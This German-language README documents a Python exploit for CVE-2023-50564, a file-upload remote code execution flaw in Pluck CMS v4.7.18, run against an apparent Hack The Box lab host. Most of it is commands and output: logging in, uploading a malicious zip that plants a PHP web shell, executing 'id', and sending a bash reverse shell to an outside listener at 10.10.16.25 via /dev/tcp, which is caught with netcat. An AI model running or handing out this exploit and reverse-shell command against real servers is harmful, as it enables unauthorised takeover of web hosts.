
Pluck-CMS v4.7.18 RCE exploit
CVE-2023-50564 ist eine RCE-Schwachstelle in Pluck CMS v4.7.18. Sie wird durch eine beliebige Datei-Upload-Schwachstelle in der Komponente /inc/modules_install.php ermöglicht, die es erlaubt, beliebigen Code durch das Hochladen einer bösartigen .zip-Datei auszuführen.
Bevor der Exploit ausgeführt wird, muss das Passwort zur Authentifizierung auf /login.php bekannt sein.
Ausführen des Exploits gegen das Ziel:
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
Auf die bösartige .php-Datei kann über den vom Skript bereitgestellten Link zugegriffen werden, um Befehle auszuführen.
Optional können auszuführende Befehle mit der --cmd-Flagge angegeben werden.
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd id
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Starten Sie den Listener und geben Sie dann einen Befehl an, um eine Reverse-Shell-Verbindung zum Listener herzustellen, unter Verwendung der --cmd-Flagge:
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1''
Und empfangen Sie die Verbindung auf dem Listener:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.78.209] 38982
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/malicious$
Installieren Sie die Abhängigkeiten:
pip install -r requirements.txt
Hilfe:
$ python3 exploit.py --help
usage: exploit.py [-h] --target TARGET --password PASSWORD [--cmd CMD]
Exploit Pluck v4.7.18 RCE Vulnerability
options:
-h, --help show this help message and exit
--target TARGET Target URL (Example: http://greenhorn.htb)
--password PASSWORD Pluck password
--cmd CMD Command to execute
Dank an Mirabbas Ağalarov für die Entdeckung der Schwachstelle (Link).